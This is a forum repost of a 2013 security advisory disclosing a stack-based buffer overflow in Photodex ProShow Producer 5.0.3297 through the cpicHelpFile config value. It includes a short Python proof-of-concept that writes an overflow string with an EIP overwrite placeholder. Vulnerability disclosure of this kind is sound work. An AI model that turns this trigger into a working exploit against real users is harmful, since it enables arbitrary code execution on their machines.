Praetorian503 Posted January 29, 2013 Report Posted January 29, 2013 Photodex ProShow Producer version 5.0.3297 suffers from a stack-based buffer overflow vulnerability.Inshell Security Advisoryhttp://www.inshell.net1. ADVISORY INFORMATION-----------------------Product: Photodex ProShow ProducerVendor URL: www.photodex.comType: Stack-based Buffer Overflow [CWE-121]Date found: 2013-01-26Date published: 2013-01-26CVSSv2 Score: 4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)CVE: -2. CREDITS----------This vulnerability was discovered and researched by Julien Ahrens fromInshell Security.3. VERSIONS AFFECTED--------------------Photodex ProShow Producer v5.0.3297, older versions may be affected too.4. VULNERABILITY DESCRIPTION----------------------------A stack-based buffer overflow vulnerability has been identified inPhotodex ProShow Producer v5.0.3297.When opening the application help via the menu, the application loadsthe location of the help file from the file "proshow.cfg". If the file"proshow.phd" also exists, the values are crosschecked.The ExpandMacroFilename function does not properly validate the lengthof the string loaded from the "cpicHelpFile" identifier from the configfile before using it in the further application context, which leads toa stack-based buffer overflow condition.Vulnerable function definition:int __stdcall ExpandMacroFilename(int, void *Dst, size_t Size)An attacker needs to force the victim to place an arbitrary"proshow.cfg" and/or "proshow.phd" file into the application directoryto execute arbitrary code.5. PROOF-OF-CONCEPT (Code / Exploit)------------------------------------The following generated string has to be inserted into the proshow.cfgand/or proshow.phd to trigger the vulnerability.#!/usr/bin/pythonfile="poc.txt"junk1="\x41" * 238eip="\x42" * 4junk2="\xCC" * 100poc=junk1 + eip + junk2try: print ("[*] Creating exploit file...\n"); writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print ("[*] File successfully created!");except: print ("[!] Error while creating file!");For further Screenshots and/or PoCs visit:http://security.inshell.net/advisory/456. SOLUTION-----------None7. REPORT TIMELINE------------------2013-01-26: Discovery of the vulnerability2013-01-26: Full Disclosure because the vendor ignored previous reports.8. REFERENCES-------------http://security.inshell.net/advisory/45Source: PacketStorm Quote